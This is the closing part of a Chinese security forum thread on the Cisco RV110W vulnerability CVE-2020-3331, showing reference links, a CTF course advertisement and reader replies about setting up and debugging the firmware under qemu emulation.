[1] https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

 

[2] https://blog.csdn.net/qq_21063873/article/details/103037515

 

[3] https://nosec.org/home/detail/4458.html


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞10
打赏
分享
最新回复 (9)
雪    币: 11980
活跃值: (15277)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-3-8 19:30
2
1
感谢分享
雪    币: 190
活跃值: (130)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
firmianay 2021-3-9 09:11
3
0
搭环境看这里:https://github.com/firmianay/IoT-vulhub/tree/master/Cisco/CVE-2020-3331
雪    币: 7072
活跃值: (3462)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2021-3-9 11:55
4
0
厉害!!!
雪    币: 65
活跃值: (486)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
AlchemistS 2021-4-1 15:51
5
0
大佬们 能问下如何断下来的吗?我一直断不到关键位置
雪    币: 65
活跃值: (486)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
AlchemistS 2021-4-1 15:59
6
0
AlchemistS 大佬们 能问下如何断下来的吗?我一直断不到关键位置
已解决 麻烦大家了
雪    币: 11980
活跃值: (15277)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-4-1 17:00
7
0
AlchemistS 已解决 麻烦大家了
可否能分享下你的解决方法
雪    币: 65
活跃值: (486)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
AlchemistS 2021-4-2 09:12
8
0
AlchemistS 大佬们 能问下如何断下来的吗?我一直断不到关键位置
用qemu-system模拟启动的 缺少/proc的内容  使用mount挂载了/proc,命令如下mount -t proc /proc/ ./squashfs-root/proc/ 同时上传了最新的busybox 就能attach上,断在guest_logout处了 
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
jiejiee 2021-7-3 17:18
9
0

 如果uname -a看到内核版本没有在列表中,怎么办?


雪    币: 2224
活跃值: (1144)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
lxonz 2 2021-8-26 01:04
10
0
jiejiee &nbsp;如果uname -a看到内核版本没有在列表中,怎么办?
如果想要完全一致对上,buildroot在github中也有老版本,可以兼容老内核
游客
登录 | 注册 方可回帖
返回